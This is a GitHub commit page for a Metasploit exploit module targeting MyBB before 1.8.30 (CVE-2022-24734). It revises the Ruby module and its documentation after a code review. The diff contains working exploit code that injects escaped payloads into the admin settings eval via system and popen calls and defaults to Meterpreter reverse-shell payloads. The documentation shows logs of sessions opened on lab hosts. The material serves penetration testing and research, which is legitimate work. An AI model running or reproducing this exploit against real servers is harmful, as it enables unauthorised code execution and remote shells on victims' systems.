Skip to content

Commit b996f5e

Browse files
cdelafuente-r7cdelafuente-r7
committed
Fixes from code review
1 parent bac9be9 commit b996f5e

File tree

2 files changed

+38
-98
lines changed

2 files changed

+38
-98
lines changed

‎documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md‎

Lines changed: 26 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,17 @@
11
## Vulnerable Application
22

3-
This exploit module leverages an improper input validation vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in the context of the user running the application.
3+
This exploit module leverages an improper input validation vulnerability in
4+
MyBB prior to `1.8.30` to execute arbitrary code in the context of the user
5+
running the application.
46

5-
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized user input. The exploit adds a new setting, injecting the payload in the vulnerable field, and triggers its execution with a second request. Finally, it takes care of cleaning up and removes the setting.
7+
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized
8+
user input. The exploit adds a new setting, injecting the payload in the
9+
vulnerable field, and triggers its execution with a second request. Finally, it
10+
takes care of cleaning up and removes the setting.
611

7-
Note that authentication is required for this exploit to work and the account must have rights to add or update settings (typically, myBB administrator role).
12+
Note that authentication is required for this exploit to work and the account
13+
must have rights to add or update settings (typically, myBB administrator
14+
role).
815

916
## Installation Steps
1017

@@ -38,7 +45,7 @@ services:
3845
version: '3.8'
3946
```
4047
- Create `nginx/default.conf`
41-
```
48+
```
4249
upstream mybb {
4350
server mybb:9000 weight=5;
4451
}
@@ -71,7 +78,7 @@ version: '3.8'
7178
fastcgi_param PATH_INFO $fastcgi_path_info;
7279
}
7380
}
74-
```
81+
```
7582
- Run `docker-compose up`.
7683
- Access the application at `http://127.0.0.1:8080/install` and finish the installation process.
7784

@@ -82,17 +89,17 @@ version: '3.8'
8289
- Download PHP (Non Thread Safe) [here](http://windows.php.net/download/)
8390
- Extract everything to `C:\php`
8491
- run:
85-
```
92+
```
8693
cd C:\php
8794
set PHP_FCGI_CHILDREN=5
8895
set PHP_FCGI_MAX_REQUESTS=500
8996
php-cgi.exe -b 127.0.0.1:9999
90-
```
97+
```
9198
- Install Nginx:
9299
- Download Nginx [here](http://nginx.org/en/download.html)
93100
- Extract everything to `C:\nginx`
94101
- Set the following options to `C:\nginx\nginx.conf`
95-
```
102+
```
96103
worker_processes auto;
97104
...
98105
server {
@@ -123,12 +130,12 @@ version: '3.8'
123130
fastcgi_param PATH_INFO $fastcgi_path_info;
124131
}
125132
}
126-
```
133+
```
127134
- Run:
128-
```
135+
```
129136
cd C:\nginx
130137
start nginx.exe
131-
```
138+
```
132139
- Install MyBB
133140
- Follow the installation process [here](https://docs.mybb.com/1.8/install/).
134141

@@ -269,28 +276,29 @@ BuildTuple : i486-linux-musl
269276
Meterpreter : x86/linux
270277
```
271278

272-
### Windows (target 3 - PowerShell (In-Memory))
279+
### Windows (target 3 - Windows (In-Memory))
273280
```
274-
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 3
275-
target => 3
281+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
282+
target => 4
276283
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
284+
285+
[*] Powershell command length: 4160
277286
[*] Started reverse TCP handler on 192.168.1.44:4444
278287
[*] Running automatic check ("set AutoCheck false" to disable)
279288
[+] MyBB forum found running at /
280289
[!] The service is running, but could not be validated.
281290
[*] Attempting login
282291
[+] Login successful!
283292
[*] Adding a malicious settings
284-
[*] Powershell command length: 6767
285293
[*] Adding a crafted configuration setting entry with the payload
286294
[+] Payload successfully sent
287295
[*] Triggering the payload execution
288-
[*] Sending stage (175174 bytes) to 192.168.1.215
289-
[*] Meterpreter session 5 opened (192.168.1.44:4444 -> 192.168.1.215:63818) at 2022-05-23 15:43:54 +0200
290296
[*] Removing the configuration setting
291297
[*] Grab the delete parameters
292298
[*] Send the delete request
293299
[*] Shell incoming...
300+
[*] Sending stage (175174 bytes) to 192.168.1.215
301+
[*] Meterpreter session 6 opened (192.168.1.44:4444 -> 192.168.1.215:59025) at 2022-05-30 15:58:01 +0200
294302
295303
meterpreter > sysinfo
296304
Computer : DC02
@@ -303,57 +311,7 @@ Meterpreter : x86/windows
303311
```
304312

305313

306-
### Windows (target 4 - Windows (In-Memory))
307-
```
308-
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
309-
target => 4
310-
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
311-
[*] Started reverse TCP handler on 192.168.1.44:4444
312-
[*] Running automatic check ("set AutoCheck false" to disable)
313-
[+] MyBB forum found running at /
314-
[!] The service is running, but could not be validated.
315-
[*] Attempting login
316-
[+] Login successful!
317-
[*] Adding a malicious settings
318-
[*] Adding a crafted configuration setting entry with the payload
319-
[+] Payload successfully sent
320-
[*] Triggering the payload execution
321-
[*] Removing the configuration setting
322-
[*] Grab the delete parameters
323-
[*] Send the delete request
324-
[*] Shell incoming...
325-
[*] Command shell session 6 opened (192.168.1.44:4444 -> 192.168.1.215:63848) at 2022-05-23 15:44:23 +0200
326-
327-
328-
Shell Banner:
329-
Microsoft Windows [Version 10.0.17763.107]
330-
(c) 2018 Microsoft Corporation. All rights reserved.
331-
332-
C:\nginx\www\admin>
333-
-----
334-
335-
336-
C:\nginx\www\admin>dir
337-
dir
338-
Volume in drive C has no label.
339-
Volume Serial Number is 4215-6DA6
340-
341-
Directory of C:\nginx\www\admin
342-
343-
05/19/2022 04:11 PM <DIR> .
344-
05/19/2022 04:11 PM <DIR> ..
345-
05/19/2022 04:11 PM <DIR> backups
346-
05/19/2022 04:11 PM <DIR> inc
347-
10/29/2021 12:00 AM 24,476 index.php
348-
05/19/2022 04:11 PM <DIR> jscripts
349-
05/19/2022 04:11 PM <DIR> modules
350-
05/19/2022 04:11 PM <DIR> styles
351-
1 File(s) 24,476 bytes
352-
7 Dir(s) 48,613,580,800 bytes free
353-
```
354-
355-
356-
### Windows (target 5 - Windows (Dropper))
314+
### Windows (target 4 - Windows (Dropper))
357315
```
358316
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5
359317
target => 5

‎modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb‎

Lines changed: 12 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -74,21 +74,12 @@ def initialize(info = {})
7474
'Type' => :dropper
7575
}
7676
],
77-
[
78-
'PowerShell (In-Memory)',
79-
{
80-
'Platform' => 'win',
81-
'Arch' => [ARCH_X86, ARCH_X64],
82-
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
83-
'Type' => :psh_memory
84-
}
85-
],
8677
[
8778
'Windows (In-Memory)',
8879
{
8980
'Platform' => 'win',
9081
'Arch' => ARCH_CMD,
91-
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' },
82+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
9283
'Type' => :in_memory
9384
}
9485
],
@@ -114,7 +105,7 @@ def initialize(info = {})
114105

115106
register_options(
116107
[
117-
OptString.new('USERNAME', [ true, 'MyBB Admin CP uername' ]),
108+
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
118109
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
119110
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
120111
]
@@ -138,8 +129,6 @@ def check
138129
print_good("MyBB forum found running at #{target_uri.path}")
139130

140131
return CheckCode::Detected
141-
rescue ::Rex::ConnectionError => e
142-
return CheckCode::Unknown("#{peer} - Could not connect to web service. Error: #{e}")
143132
end
144133

145134
def login
@@ -196,39 +185,30 @@ def exploit
196185
case target['Type']
197186
when :in_memory
198187
execute_command(payload.encoded)
199-
when :psh_memory
200-
cmd = cmd_psh_payload(
201-
payload.encoded,
202-
payload_instance.arch.first,
203-
{ remove_comspec: true, encode_final_payload: true }
204-
)
205-
execute_command(cmd)
206188
when :dropper
207189
execute_cmdstager
208190
end
209-
rescue ::Rex::ConnectionError
210-
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
211191
end
212192

213193
def send_payload(cmd)
214194
vprint_status('Adding a crafted configuration setting entry with the payload')
215195

196+
cmd = cmd.gsub(/\\/, '\\' => '\\\\')
197+
cmd = cmd.gsub(/"/, '"' => '\\"')
198+
cmd = cmd.gsub(/\$/, '$' => '\\$')
199+
216200
case target['Platform']
217201
when 'php'
218-
cmd = cmd.gsub(/"/, '"' => '\\"')
219-
cmd = cmd.gsub(/\$/, '$' => '\\$')
220202
extra = "\" . eval(\"#{cmd}\") .\""
221203
when 'win'
222-
cmd = cmd.gsub(/'/, "'" => "\\'")
223204
if target['Arch'] == ARCH_CMD
224205
# Force cmd to run in the background (only works for `cmd`)
225-
extra = "\" . pclose(popen('start /B #{cmd}', 'r')) .\""
206+
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
226207
else
227-
extra = "\" . system('#{cmd}') .\""
208+
extra = "\" . system(\"#{cmd}\") .\""
228209
end
229210
else
230-
cmd = cmd.gsub(/'/, "'" => "\\'")
231-
extra = "\" . system('#{cmd} > /dev/null &') .\""
211+
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
232212
end
233213

234214
post_data = {
@@ -247,7 +227,9 @@ def send_payload(cmd)
247227
unless res.code == 302
248228
doc = res.get_html_document
249229
err = doc.xpath('//div[@class="error"]').text
250-
fail_with(Failure::Unknown, "#{peer} - Exploit didn't work. Reason: #{err}")
230+
fail_with(Failure::Unknown,
231+
"#{peer} - The module expected a 302 response but received: "\
232+
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
251233
end
252234

253235
vprint_good('Payload successfully sent')

0 commit comments

Comments
 (0)